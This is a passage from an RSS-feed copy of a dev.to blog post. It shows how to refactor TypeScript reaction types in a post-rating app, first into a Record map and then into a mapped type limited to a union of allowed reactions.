    &lt;span class="na"&gt;repeatedWords&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;word&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;count&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;}[]&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nl"&gt;reactions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;likes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
    &lt;span class="na"&gt;unicorns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
    &lt;span class="na"&gt;explodingHeads&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
    &lt;span class="na"&gt;raisedHands&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
    &lt;span class="na"&gt;fire&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Additionally, this &lt;code&gt;Reaction&lt;/code&gt; type was defined:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Reaction.ts&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;count&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;percentage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And this was being used in a function like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// calculator.ts&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;calculateScore&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;headings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;
  &lt;span class="nx"&gt;sentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;
  &lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;
  &lt;span class="nx"&gt;totalPostCharactersCount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;href&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}[],&lt;/span&gt;
  &lt;span class="nx"&gt;reactions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;likes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
    &lt;span class="nx"&gt;unicorns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
    &lt;span class="nx"&gt;explodingHeads&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
    &lt;span class="nx"&gt;raisedHands&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
    &lt;span class="nx"&gt;fire&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;FinalResponse&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Score calculation logic...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Issue with This Approach
&lt;/h3&gt;

&lt;p&gt;Now, imagine the scenario where the developer needs to add a new reaction (e.g., hearts, claps, etc.).&lt;br&gt;
Given the current setup, they would have to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Modify the &lt;code&gt;FinalResponse.ts&lt;/code&gt; file to add the new reaction type.&lt;/li&gt;
&lt;li&gt;Update the &lt;code&gt;Reaction.ts&lt;/code&gt; type if necessary.&lt;/li&gt;
&lt;li&gt;Modify the &lt;code&gt;calculateScore&lt;/code&gt; function to include the new reaction.&lt;/li&gt;
&lt;li&gt;Possibly update other parts of the application that rely on this structure.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So instead of just adding the new reaction in one place, they end up making changes in &lt;strong&gt;three or more files&lt;/strong&gt;, which increases the potential for &lt;u&gt;errors&lt;/u&gt; and &lt;u&gt;redundancy&lt;/u&gt;. This approach is &lt;strong&gt;tightly coupled&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Solution
&lt;/h3&gt;

&lt;p&gt;I came up with a cleaner solution by introducing a more flexible and reusable structure.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// FinalResponse.ts&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./Reaction&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;ReactionMap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Record&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;FinalResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;totalScore&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;headingsPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;sentencesPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;charactersPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;wordsPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;headings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="na"&gt;sentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="na"&gt;words&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="na"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}[]&lt;/span&gt;
  &lt;span class="na"&gt;exceeded&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;exceededSentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="na"&gt;repeatedWords&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;word&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;count&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;}[]&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nl"&gt;reactions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ReactionMap&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Explanation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ReactionMap&lt;/code&gt;: This type uses &lt;code&gt;Record&amp;lt;string, Reaction&amp;gt;&lt;/code&gt;, which means any string can be a key, and the value will always be of type &lt;code&gt;Reaction&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;FinalResponse&lt;/code&gt;: Now, the reactions field in &lt;code&gt;FinalResponse&lt;/code&gt; is of type &lt;code&gt;ReactionMap&lt;/code&gt;, allowing you to add any reaction dynamically without having to modify multiple files.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Clean code
&lt;/h3&gt;

&lt;p&gt;In the &lt;code&gt;calculator.ts&lt;/code&gt; file, the function now looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// calculator.ts&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;calculateScore&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;headings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;
  &lt;span class="nx"&gt;sentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;
  &lt;span class="nx"&gt;words&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;
  &lt;span class="nx"&gt;totalPostCharactersCount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;href&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}[],&lt;/span&gt;
  &lt;span class="nx"&gt;reactions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ReactionMap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;FinalResponse&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Score calculation logic...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  But Wait! We Need Some Control
&lt;/h3&gt;

&lt;p&gt;Although the new solution provides flexibility, it also introduces the risk of adding &lt;u&gt;unchecked&lt;/u&gt; reactions, meaning anyone could potentially add any string as a reaction. We definitely don't want that.&lt;/p&gt;

&lt;p&gt;To fix this, we can enforce stricter control over the allowed reactions.&lt;/p&gt;

&lt;h3&gt;
  
  
  More secure solution
&lt;/h3&gt;

&lt;p&gt;Here’s the updated version where we restrict the reactions to a predefined set of allowed values:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// FinalResponse.ts&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./Reaction&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;AllowedReactions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;likes&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;unicorns&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;explodingHeads&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;raisedHands&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fire&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;ReactionMap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;AllowedReactions&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="nx"&gt;Reaction&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;FinalResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;totalScore&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;headingsPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;sentencesPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;charactersPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;wordsPenalty&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;headings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="na"&gt;sentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="na"&gt;words&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="na"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}[]&lt;/span&gt;
  &lt;span class="na"&gt;exceeded&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;exceededSentences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="na"&gt;repeatedWords&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;word&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;count&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;}[]&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nl"&gt;reactions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ReactionMap&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Visual representation
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv7fnvfkvsbpf8q07qhmd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv7fnvfkvsbpf8q07qhmd.png" alt="TypeScript Types" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa2ow6meqh4gcfalyitme.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa2ow6meqh4gcfalyitme.png" alt="TypeScript Types" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;This approach strikes a balance between flexibility and control:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Flexibility&lt;/strong&gt;: You can easily add new reactions by modifying just the &lt;code&gt;AllowedReactions&lt;/code&gt; type.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Control&lt;/strong&gt;: The use of a union type ensures that only the allowed reactions can be used, preventing the risk of invalid or unwanted reactions being added.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This code follows the &lt;strong&gt;Open/Closed Principle (OCP)&lt;/strong&gt; by enabling the addition of new functionality through extensions, without the need to modify the existing code.&lt;/p&gt;

&lt;p&gt;With this pattern, we can easily extend the list of reactions without modifying too many files, while still maintaining strict control over what can be added.&lt;/p&gt;

&lt;h3&gt;
  
  
  Code?
&lt;/h3&gt;

&lt;p&gt;You can visit the repository &lt;a href="https://github.com/perisicnikola37/dev-to-rater" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;Hope you found this solution helpful! Thanks for reading. 😊&lt;/p&gt;

&lt;p&gt;Follow me on &lt;a href="https://github.com/perisicnikola37" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;a href="https://dev-to-rater.xyz/" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2FbJvBsD5Y%2Fcroppedz.png" width="800" height="195"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>programming</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
